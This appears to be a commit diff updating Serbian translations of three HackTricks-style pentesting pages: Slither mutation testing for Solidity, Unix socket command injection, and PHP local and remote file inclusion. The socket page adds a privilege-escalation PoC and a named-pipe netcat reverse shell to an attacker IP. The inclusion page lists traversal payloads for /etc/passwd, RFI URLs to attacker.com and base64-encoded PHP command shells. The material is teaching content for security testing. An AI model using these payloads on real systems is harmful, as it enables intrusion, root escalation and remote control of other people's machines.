Translated ['', 'src/pentesting-web/file-inclusion/README.md', 'src/bloc

2025-10-10 18:36:50 +00:00 · 2025-10-01 09:24:19 +00:00 · 2025-10-01 09:24:19 +00:00 · d0764acfc4
commit d0764acfc4
parent f0d251e813
3 changed files with 246 additions and 208 deletions
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@ -1,14 +1,14 @@
-# Mutation Testing for Solidity with Slither (slither-mutate)
+# Mutation Testing za Solidity sa Slither (slither-mutate)

-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

-Mutation testing "testira vaše testove" tako što sistematski uvodi male izmene (mutante) u vaš Solidity kod i ponovo pokreće vaš skup testova. Ako test zakaže, mutant je eliminisan. Ako testovi i dalje prolaze, mutant preživi, otkrivajući slepu tačku u vašem skupu testova koju linijska/grananja pokrivenost ne može detektovati.
+Mutation testing "tests your tests" tako što sistematski uvodi male promene (mutants) u vaš Solidity код и поново покреће ваш test suite. Ако тест не успе, mutant је killed. Ако тестови и даље пролазе, mutant преживи, откривајући слепу тачку у вашем test suite коју line/branch coverage не може да детектује.

-Ključna ideja: Pokrivenost pokazuje da je kod izvršen; mutation testing pokazuje da li je ponašanje zaista provereno.
+Key idea: Coverage показује да је код извршен; mutation testing показује да ли је понашање заиста потврђено.

-## Zašto pokrivenost može zavarati
+## Zašto coverage може зaварaти

-Razmotrite ovu jednostavnu proveru praga:
+Размотрите ову једноставну проверу прага:
 ```solidity
 function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
 if (deposit >= 1 ether) {
@ -18,20 +18,20 @@ return false;
 }
 }
 ```
-Unit testovi koji proveravaju samo vrednost ispod i iznad praga mogu dostići 100% pokriće linija/grana dok ne uspevaju da asertuju granicu jednakosti (==). Refaktorisanje u `deposit >= 2 ether` bi i dalje prošlo takve testove, tiho prekidajući logiku protokola.
+Jedinični testovi koji proveravaju samo vrednost ispod i vrednost iznad praga mogu dostići 100% pokrivenost linija/grana, a ipak ne potvrditi granicu jednakosti (==). Refaktorisanje u `deposit >= 2 ether` i dalje bi prošlo takve testove, neprimetno narušivši logiku protokola.

-Mutaciono testiranje otkriva ovu rupu mutiranjem uslova i verifikovanjem da vaši testovi zakažu.
+Mutaciono testiranje otkriva ovaj nedostatak mutiranjem uslova i proverom da li testovi zakažu.

 ## Uobičajeni mutacioni operatori za Solidity

-Slither’s mutation engine primenjuje mnoge male izmene koje menjaju semantiku, kao što su:
- Operator replacement: `+` ↔ `-`, `*` ↔ `/`, etc.
- Assignment replacement: `+=` → `=`, `-=` → `=`
- Constant replacement: non-zero → `0`, `true` ↔ `false`
- Condition negation/replacement inside `if`/loops
- Comment out whole lines (CR: Comment Replacement)
- Replace a line with `revert()`
- Data type swaps: e.g., `int128` → `int64`
+Slither-ov mehanizam za mutacije primenjuje mnoge male izmene koje menjaju semantiku, kao što su:
+- Zamena operatora: `+` ↔ `-`, `*` ↔ `/`, etc.
+- Zamena dodele: `+=` → `=`, `-=` → `=`
+- Zamena konstanti: nenulta → `0`, `true` ↔ `false`
+- Negacija/zamena uslova unutar `if`/petlji
+- Zakomentarisati cele linije (CR: Comment Replacement)
+- Zameniti liniju sa `revert()`
+- Zamena tipova podataka: npr. `int128` → `int64`

 Cilj: eliminisati 100% generisanih mutanata, ili opravdati preživele jasnim obrazloženjem.

@ -39,18 +39,18 @@ Cilj: eliminisati 100% generisanih mutanata, ili opravdati preživele jasnim obr

 Zahtevi: Slither v0.10.2+.

- List options and mutators:
+- Prikaži opcije i mutatore:
 ```bash
 slither-mutate --help
 slither-mutate --list-mutators
 ```
- Foundry primer (zabeleži rezultate i sačuvaj kompletan log):
+- Foundry primer (zabeleži rezultate i vodi kompletan log):
 ```bash
 slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
 ```
- Ako ne koristite Foundry, zamenite `--test-cmd` sa načinom na koji pokrećete testove (npr. `npx hardhat test`, `npm test`).
+- Ako ne koristite Foundry, zamenite `--test-cmd` načinom na koji pokrećete testove (npr. `npx hardhat test`, `npm test`).

-Artefakti i izveštaji se podrazumevano čuvaju u `./mutation_campaign`. Neuhvaćeni (preživeli) mutanti se kopiraju tamo radi inspekcije.
+Artefakti i izveštaji se podrazumevano čuvaju u `./mutation_campaign`. Neotkriveni (preživeli) mutanti se tamo kopiraju radi inspekcije.

 ### Razumevanje izlaza

@ -60,57 +60,57 @@ INFO:Slither-Mutate:Mutating contract ContractName
 INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
 ```
 - Oznaka u uglastim zagradama je alias mutatora (npr., `CR` = Comment Replacement).
- `UNCAUGHT` znači da su testovi prošli pod mutiranim ponašanjem → nedostajuća asercija.
+- `UNCAUGHT` znači da su testovi prošli pod mutiranim ponašanjem → nedostaje asercija.

-## Smanjenje vremena izvršavanja: prioritizujte uticajne mutante
+## Smanjivanje vremena izvršavanja: prioritizujte mutante sa najvećim uticajem

 Kampanje mutacije mogu trajati satima ili danima. Saveti za smanjenje troškova:
- Obim: Počnite samo sa kritičnim kontraktima/direktorijumima, zatim proširite.
- Prioritetizujte mutatore: Ako mutant visokog prioriteta na liniji preživi (npr., cela linija je komentarisana), možete preskočiti varijante nižeg prioriteta za tu liniju.
- Paralelizujte testove ako vaš runner to dozvoljava; keširajte zavisnosti/buildove.
- Fail-fast: zaustavite rano kada izmena jasno pokaže nedostatak asercije.
+- Opseg: Počnite samo sa kritičnim ugovorima/direktorijumima, pa zatim proširite.
+- Prioritetizujte mutatore: Ako mutant visokog prioriteta na liniji preživi (npr., cela linija je zakomentarisana), možete preskočiti varijante nižeg prioriteta za tu liniju.
+- Paralelizujte testove ako vaš runner to omogućava; keširajte zavisnosti i build-ove.
+- Fail-fast: zaustavite se rano kada promena jasno demonstrira prazninu u asercijama.

-## Radni tok trijaže za preživele mutante
+## Radni tok trijaže za mutante koji prežive

 1) Pregledajte mutiranu liniju i ponašanje.
- Reproducirajte lokalno tako što ćete primeniti mutiranu liniju i pokrenuti fokusirani test.
+- Reproducirajte lokalno primenom mutirane linije i pokretanjem fokusiranog testa.

-2) Ojačajte testove tako da asertuju stanje, ne samo povratne vrednosti.
- Dodajte provere granica jednakosti (npr., testirajte threshold `==`).
- Asertujte postuslove: stanja salda, ukupna ponuda, efekti autorizacije i emitovani događaji.
+2) Ojačajte testove tako da proveravaju stanje, a ne samo povratne vrednosti.
+- Dodajte provere granica jednakosti (npr., test threshold `==`).
+- Proverite post-uslove: bilansi, total supply, efekti autorizacije i emitovani događaji.

 3) Zamenite previše permisivne mock-ove realističnim ponašanjem.
- Osigurajte da mock-ovi forsiraju transfere, puteve grešaka i emisione događaje koji se dešavaju on-chain.
+- Osigurajte da mock-ovi nameću transfere, puteve greške i emitovanje događaja koji se dešavaju on-chain.

 4) Dodajte invarijante za fuzz testove.
- Npr., očuvanje vrednosti, nenegativni balansi, invarijante autorizacije, monotoni rast ponude gde je primenljivo.
+- Npr., očuvanje vrednosti, nenegativni saldi, invarijante autorizacije, monotonost supply-a gde je primenljivo.

-5) Ponovo pokrenite slither-mutate dok preživele varijante ne budu uklonjene ili eksplicitno opravdane.
+5) Ponovo pokrenite slither-mutate dok preživeli ne budu uklonjeni ili dok se eksplicitno ne opravdaju.

-## Case study: revealing missing state assertions (Arkis protocol)
+## Studija slučaja: otkrivanje nedostajućih asercija stanja (Arkis protocol)

-Kampanja mutacije tokom audita Arkis DeFi protocol-a iznela je preživele slučajeve poput:
+Kampanja mutacije tokom audita Arkis DeFi protocola je identifikovala preživele, kao što su:
 ```text
 INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
 ```
-Komentarisanje dodele nije pokvarilo testove, što dokazuje nedostatak post-state asercija. Korenski uzrok: kod je verovao user-controlled `_cmd.value` umesto da validira stvarne token transfere. Napadač bi mogao desinhronizovati očekivane i stvarne transfere da isisava sredstva. Rezultat: rizik visoke težine po solventnost protokola.
+Komentarisanje dodele nije pokvarilo testove, što ukazuje na nedostatak post-state assertions. Osnovni uzrok: kod je verovao korisnički kontrolisanom `_cmd.value` umesto da verifikuje stvarne transfere tokena. Napadač bi mogao desinhronizovati očekivane i stvarne transfere kako bi isisao sredstva. Posledica: visok rizik po solventnost protokola.

-Smernice: Smatrati preživele mutante koji utiču na prenos vrednosti, računovodstvo ili kontrolu pristupa visokorizičnim dok ne budu ubijeni.
+Smernice: Smatrajte survivors koji utiču na value transfers, accounting, ili access control visokorizičnim dok nisu killed.

-## Praktična lista provere
+## Praktična kontrolna lista

 - Pokrenite ciljanu kampanju:
 - `slither-mutate ./src/contracts --test-cmd="forge test"`
- Razvrstajte preživele mutante i napišite testove/invarijante koji bi pali pod mutiranim ponašanjem.
- Potvrdite balanse, ukupnu ponudu, autorizacije i događaje.
- Dodajte granične testove (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Zamenite nerealne mocks; simulirajte scenarije grešaka.
- Iterirajte dok svi mutanti ne budu ubijeni ili opravdani komentarima i obrazloženjem.
+- Razvrstajte survivors i napišite testove/invarijante koje bi pale pri mutiranom ponašanju.
+- Proverite balances, supply, authorizations i events.
+- Dodajte boundary testove (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Zamenite nerealne mocks; simulirajte failure modes.
+- Iterirajte dok svi mutants ne budu killed ili opravdani komentarima i objašnjenjem.

-## Reference
+## References

 - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
 - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
 - [Slither (GitHub)](https://github.com/crytic/slither)

-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/linux-hardening/privilege-escalation/socket-command-injection.md
+++ b/src/linux-hardening/privilege-escalation/socket-command-injection.md
@ -1,8 +1,10 @@
+# Socket Command Injection
+
 {{#include ../../banners/hacktricks-training.md}}

-## Primer vezivanja soketa sa Pythonom
+## Primer bindovanja Socket-a u Pythonu

-U sledećem primeru se **stvara unix soket** (`/tmp/socket_test.s`) i sve što je **primljeno** će biti **izvršeno** od strane `os.system`. Znam da ovo nećete naći u stvarnom svetu, ali cilj ovog primera je da se vidi kako izgleda kod koji koristi unix sokete i kako upravljati ulazom u najgorem mogućem slučaju.
+U sledećem primeru je kreiran **unix socket** (`/tmp/socket_test.s`) i sve što se **primi** biće **izvršeno** pomoću `os.system`. Znam da ovo nećete naći u prirodi, ali cilj ovog primera je da vidite kako izgleda kod koji koristi unix sockets i kako upravljati ulazom u najgorem mogućem slučaju.
 ```python:s.py
 import socket
 import os, os.path
@ -24,15 +26,50 @@ print(datagram)
 os.system(datagram)
 conn.close()
 ```
-**Izvršite** kod koristeći python: `python s.py` i **proverite kako socket sluša**:
+**Pokrenite** kod koristeći python: `python s.py` i **proverite kako socket sluša**:
 ```python
 netstat -a -p --unix | grep "socket_test"
 (Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
 unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python        /tmp/socket_test.s
 ```
-**Eksploatacija**
+**Exploit**
 ```python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
+## Studija slučaja: Root-owned UNIX socket signal-triggered escalation (LG webOS)
+
+Neki privilegovani daemoni izlažu root-owned UNIX socket koji prihvata nepouzdan ulaz i povezuje privilegovane akcije sa thread-IDs i signalima. Ako protokol dozvoljava neprivilegovanom klijentu da utiče na to koji native thread će biti meta, moguće je pokrenuti privilegovani kod i izvršiti eskalaciju.
+
+Uočen obrazac:
+- Poveži se na root-owned socket (npr. /tmp/remotelogger).
+- Kreiraj thread i pribavi njegov native thread id (TID).
+- Pošalji TID (packed) plus padding kao request; primi acknowledgement.
+- Pošalji određeni signal tom TID-u da pokrene privilegovano ponašanje.
+
+Skica minimalnog PoC-a:
+```python
+import socket, struct, os, threading, time
+# Spawn a thread so we have a TID we can signal
+th = threading.Thread(target=time.sleep, args=(600,)); th.start()
+tid = th.native_id  # Python >=3.8
+s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
+s.connect("/tmp/remotelogger")
+s.sendall(struct.pack('<L', tid) + b'A'*0x80)
+s.recv(4)  # sync
+os.kill(tid, 4)  # deliver SIGILL (example from the case)
+```
+Da biste ovo pretvorili u root shell, može se upotrebiti jednostavan named-pipe + nc pattern:
+```bash
+rm -f /tmp/f; mkfifo /tmp/f
+cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
+```
+Napomene:
+- Ova klasa ranjivosti nastaje kada se veruje vrednostima izvedenim iz stanja neprivilegovanog klijenta (TIDs) i povezuje ih sa privilegovanim obrađivačima signala ili logikom.
+- Ojačajte primenom kredencijala na socketu, validacijom formata poruka i razdvajanjem privilegovanih operacija od spolja dostavljenih identifikatora niti.
+
+## References
+
+- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
+
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -4,14 +4,14 @@

 ## File Inclusion

-**Remote File Inclusion (RFI):** Fajl se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php ovo je **onemogućeno** po defaultu (**allow_url_include**).\
-**Local File Inclusion (LFI):** Server učitava lokalni fajl.
+**Remote File Inclusion (RFI):** Datoteka se učitava sa udaljenog servera (Najbolje: možete napisati kod i server će ga izvršiti). U php-u je ovo **onemogućeno** po defaultu (**allow_url_include**).\
+**Local File Inclusion (LFI):** Server učitava lokalnu datoteku.

-Ranivost se javlja kada korisnik na neki način može kontrolisati koji fajl će server učitati.
+Ranjivost nastaje kada korisnik na neki način može kontrolisati koju će datoteku server učitati.

 Ranljive **PHP functions**: require, require_once, include, include_once

-Zanimljiv alat za iskorišćavanje ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
+Zanimljiv alat za eksploataciju ove ranjivosti: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

 ## Blind - Interesting - LFI2RCE files
 ```python
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**

-**Kombinovanjem više \*nix LFI lista i dodavanjem dodatnih putanja napravio sam ovu:**
+**Kombinovanjem nekoliko \*nix LFI listi i dodavanjem još putanja napravio sam ovu:**


 {{#ref}}
@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Pokušajte takođe da zamenite `/` sa `\`\
 Pokušajte takođe da dodate `../../../../../`

-Lista koja koristi više tehnika da pronađe fajl /etc/password (da bi se proverilo da li ranjivost postoji) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+Lista koja koristi nekoliko tehnika da pronađe fajl /etc/password (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

 ### **Windows**

-Spajanje različitih wordlists:
+Spoj različitih wordlists:


 {{#ref}}
@ -43,11 +43,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Pokušajte takođe da zamenite `/` sa `\`\
 Pokušajte takođe da uklonite `C:/` i dodate `../../../../../`

-Lista koja koristi više tehnika da pronađe fajl /boot.ini (da bi se proverilo da li ranjivost postoji) može se naći [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+Lista koja koristi nekoliko tehnika da pronađe fajl /boot.ini (da proveri da li ranjivost postoji) može se naći [ovde](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

 ### **OS X**

-Proverite LFI listu za linux.
+Proverite LFI listu za Linux.

 ## Osnovni LFI i bypasses

@ -55,7 +55,7 @@ Svi primeri su za Local File Inclusion ali se mogu primeniti i na Remote File In
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### traversal sequences uklonjene ne-rekurzivno
+### traversal sequences uklonjene bez rekurzije
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -67,11 +67,11 @@ Bypass dodavanja dodatnih karaktera na kraj prosleđenog stringa (bypass of: $\_
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
-Ово је **решено од PHP 5.4**
+Ovo je **rešeno od PHP 5.4**

-### **Енкодирање**
+### **Kodiranje**

-Можете користити нестандардне енкодирања као што су double URL encode (и друге):
+Možete koristiti nestandardna kodiranja kao što su double URL encode (i druga):
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@ -84,38 +84,38 @@ Možda back-end proverava putanju foldera:
 ```python
 http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
-### Istraživanje file system direktorijuma na serveru
+### Istraživanje direktorijuma datotečnog sistema na serveru

-File system na serveru može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, koristeći određene tehnike. Ovaj proces podrazumeva određivanje dubine direktorijuma i testiranje postojanja specifičnih foldera. Ispod je detaljna metoda kako to postići:
+Datotečni sistem servera može se rekurzivno istražiti kako bi se identifikovali direktorijumi, ne samo fajlovi, primenom određenih tehnika. Ovaj proces uključuje utvrđivanje dubine direktorijuma i ispitivanje postojanja određenih foldera. Ispod je detaljna metoda za to:

-1. **Odredite dubinu direktorijuma:** Utvrdite dubinu trenutnog direktorijuma tako što ćete uspešno dohvatiti `/etc/passwd` fajl (primenljivo ako je server baziran na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu tri:
+1. **Utvrdi dubinu direktorijuma:** Odredite dubinu svog trenutnog direktorijuma uspešnim dohvatom fajla `/etc/passwd` (važi ako je server zasnovan na Linuxu). Primer URL-a može biti strukturiran na sledeći način, što ukazuje na dubinu od tri:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Probe for Folders:** Dodajte ime sumnjivog foldera (npr. `private`) u URL, a zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
+2. **Ispitajte direktorijume:** Dodajte ime sumnjivog direktorijuma (npr. `private`) na URL, zatim se vratite na `/etc/passwd`. Dodatni nivo direktorijuma zahteva povećanje dubine za jedan:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
 3. **Tumačenje rezultata:** Serverov odgovor ukazuje da li direktorijum postoji:
- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na navedenoj lokaciji.
+- **Greška / Nema izlaza:** Direktorijum `private` verovatno ne postoji na naznačenoj lokaciji.
 - **Sadržaj `/etc/passwd`:** Prisutnost direktorijuma `private` je potvrđena.
-4. **Rekurzivno istraživanje:** Otkriveni direktorijumi mogu se dalje ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.
+4. **Rekurzivno istraživanje:** Otkrivene direktorijume je moguće dodatno ispitivati za poddirektorijume ili fajlove koristeći istu tehniku ili tradicionalne Local File Inclusion (LFI) metode.

-Za istraživanje direktorijuma na drugim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da se trenutni direktorijum nalazi na dubini od 3), koristite:
+Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži direktorijum `private` (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**

-Path truncation je metoda koja se koristi za manipulaciju file path-ovima u web aplikacijama. Često se koristi za pristup ograničenim fajlovima tako što zaobilazi određene bezbednosne mere koje dodaju dodatne karaktere na kraj putanja fajlova. Cilj je konstruisati putanju fajla koja, nakon što je bezbednosna mera izmeni, i dalje pokazuje na željeni fajl.
+Path truncation je metoda koja se koristi za manipulaciju file paths u web aplikacijama. Često se koristi za pristup zaštićenim fajlovima tako što zaobilazi određene sigurnosne mere koje dodaju dodatne karaktere na kraj putanja do fajlova. Cilj je konstruisati putanju koja, nakon što je izmenjena od strane sigurnosne mere, i dalje pokazuje na željeni fajl.

-U PHP-u, različite reprezentacije file path-a mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:
+U PHP, različite reprezentacije putanje do fajla mogu se smatrati ekvivalentnim zbog prirode fajl sistema. Na primer:

- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se tretiraju kao ista putanja.
- Kada poslednjih 6 karaktera glasi `passwd`, dodavanje `/` (čineći ga `passwd/`) ne menja ciljani fajl.
- Slično, ako je `.php` dodat na file path (npr. `shellcode.php`), dodavanje `/.` na kraju neće izmeniti fajl kojem se pristupa.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
+- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
+- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.

-Priloženi primeri pokazuju kako iskoristiti path truncation da se pristupi `/etc/passwd`, česta meta zbog svog osetljivog sadržaja (informacije o korisničkim nalozima):
+Primeri koji slede pokazuju kako iskoristiti path truncation da se pristupi `/etc/passwd`, česta meta zbog osetljivog sadržaja (informacije o korisničkim nalozima):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,17 +125,17 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj varira u zavisnosti od konfiguracije servera.
+U ovim scenarijima, broj potrebnih traversala može biti oko 2027, ali taj broj može varirati u zavisnosti od konfiguracije servera.

- **Korišćenje dot segmenata i dodatnih karaktera**: Sekvence traversal-a (`../`) kombinovane sa dodatnim dot segmentima i karakterima mogu se koristiti za navigaciju fajlsistemom, efektivno ignorišući dodatne stringove koje server prikači.
- **Određivanje potrebnog broja traversala**: Metodom pokušaja i grešaka može se pronaći tačan broj `../` sekvenci potrebnih da se dođe do root direktorijuma i zatim do `/etc/passwd`, pri čemu se osigurava da su svi prikačeni stringovi (kao `.php`) neutralisani, ali željeni put (`/etc/passwd`) ostaje netaknut.
- **Početak sa lažnim direktorijumom**: Uobičajeno je početi putanju sa nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da zadovolji zahteve serverove logike parsiranja putanja.
+- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) u kombinaciji sa dodatnim tačkastim segmentima i karakterima mogu se koristiti za navigaciju fajl sistemom, efektivno ignorišući dodate stringove koje server prikači.
+- **Determining the Required Number of Traversals**: Metodom pokušaja i grešaka može se pronaći tačan broj `../` sekvenci potrebnih da se dođe do root direktorijuma, a zatim do `/etc/passwd`, pri čemu se obezbeđuje da su dodati stringovi (npr. `.php`) neutralisani, a željeni put (`/etc/passwd`) ostane netaknut.
+- **Starting with a Fake Directory**: Uobičajena praksa je započeti put nepostojećim direktorijumom (npr. `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanja na serveru.

-Primenom tehnika skraćivanja putanja važno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajlsistema. Svaki scenario može zahtevati drugačiji pristup, pa je često neophodno testiranje da bi se našla najefikasnija metoda.
+Primenjujući tehnike skraćivanja putanja, ključno je razumeti ponašanje servera pri parsiranju putanja i strukturu fajl sistema. Svaki scenarij može zahtevati drugačiji pristup, pa su testiranja često neophodna da se pronađe najučinkovitija metoda.

 **Ova ranjivost je ispravljena u PHP 5.3.**

-### **Trikovi zaobilaženja filtera**
+### **Filter bypass tricks**
 ```
 http://example.com/index.php?page=....//....//etc/passwd
 http://example.com/index.php?page=..///////..////..//////etc/passwd
@ -145,19 +145,19 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Remote File Inclusion

-U php-u je ovo po defaultu onemogućeno jer je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete include PHP file sa vašeg servera i dobiti RCE:
+U php-u je ovo po defaultu onemogućeno zato što je **`allow_url_include`** **Off.** Mora biti **On** da bi radilo, i u tom slučaju možete uključiti PHP fajl sa vašeg servera i dobiti RCE:
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Ako iz nekog razloga **`allow_url_include`** je **On**, ali PHP je **filtering** pristup eksternim web stranicama, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:
+Ako iz nekog razloga **`allow_url_include`** je **On**, ali PHP filtrira pristup spoljnim web-stranicama, [prema ovom postu](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), možete, na primer, koristiti data protokol sa base64 da dekodirate b64 PHP kod i dobijete RCE:
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!TIP]
-> U prethodnom kodu, finalni `+.txt` je dodat zato što je napadaču bio potreban string koji se završava sa `.txt`, pa se string završava tim sufiksom i nakon b64 decode taj deo će biti samo besmislica, dok će pravi PHP kod biti uključen (i shodno tome izvršen).
-> 
-> Još jedan primer **koji ne koristi `php://` protocol** bi bio:
+> U prethodnom кодu, završni `+.txt` је dodat јер је нападачу био потребан string који се završава са `.txt`, па се низ завршава њиме и након b64 decode-а тај део ће вратити само смеће, а стварни PHP код биће укључен (и самим тим, извршен).
+
+Another example **not using the `php://` protocol** would be:
 ```
 data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
 ```
@ -168,22 +168,22 @@ U Pythonu, u kodu poput ovog:
 # file_name is controlled by a user
 os.path.join(os.getcwd(), "public", file_name)
 ```
-Ako korisnik prosledi **apsolutnu putanju** u **`file_name`**, **prethodna putanja se jednostavno uklanja**:
+Ako korisnik prosledi **absolute path** kao **`file_name`**, **prethodni path se jednostavno uklanja**:
 ```python
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-Ovo je predviđeno ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
+Ovo je očekivano ponašanje prema [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):

-> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente putanje.
+> Ako je komponenta apsolutna putanja, sve prethodne komponente se odbacuju i spajanje se nastavlja od apsolutne komponente puta.

-## Java: listanje direktorijuma
+## Java Prikaz sadržaja direktorijuma

-Izgleda da, ako imate Path Traversal u Java i **zatražite direktorijum** umesto fajla, **vraća se lista sadržaja direktorijuma**. Ovo se, koliko mi je poznato, neće dešavati u drugim jezicima (afaik).
+Izgleda da, ako imate Path Traversal u Java i **zatražite direktorijum** umesto fajla, **vraća se prikaz sadržaja direktorijuma**. Ovo se neće dešavati u drugim jezicima (koliko ja znam).

-## Top 25 parameters
+## Top 25 parametara

-Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (LFI) (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
+Evo liste 25 parametara koji bi mogli biti ranjivi na local file inclusion (LFI) (iz [link](https://twitter.com/trbughunters/status/1279768631845494787)):
 ```
 ?cat={payload}
 ?dir={payload}
@ -211,7 +211,7 @@ Evo liste top 25 parametara koji bi mogli biti podložni local file inclusion (L
 ?mod={payload}
 ?conf={payload}
 ```
-## LFI / RFI korišćenjem PHP wrappera i protokola
+## LFI / RFI using PHP wrappers & protocols

 ### php://filter

@ -222,27 +222,27 @@ PHP filters omogućavaju izvođenje osnovnih **operacija modifikacije nad podaci
 - `string.toupper`
 - `string.tolower`
 - `string.strip_tags`: Uklanja tagove iz podataka (sve između znakova "<" i ">")
- Napomena: ovaj filter je uklonjen u modernim verzijama PHP-a
+- Note that this filter has disappear from the modern versions of PHP
 - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
 - `convert.base64-encode`
 - `convert.base64-decode`
 - `convert.quoted-printable-encode`
 - `convert.quoted-printable-decode`
- `convert.iconv.*` : Transformiše u drugo kodiranje (`convert.iconv.<input_enc>.<output_enc>`). Da biste dobili **spisak svih podržanih kodiranja** pokrenite u konzoli: `iconv -l`
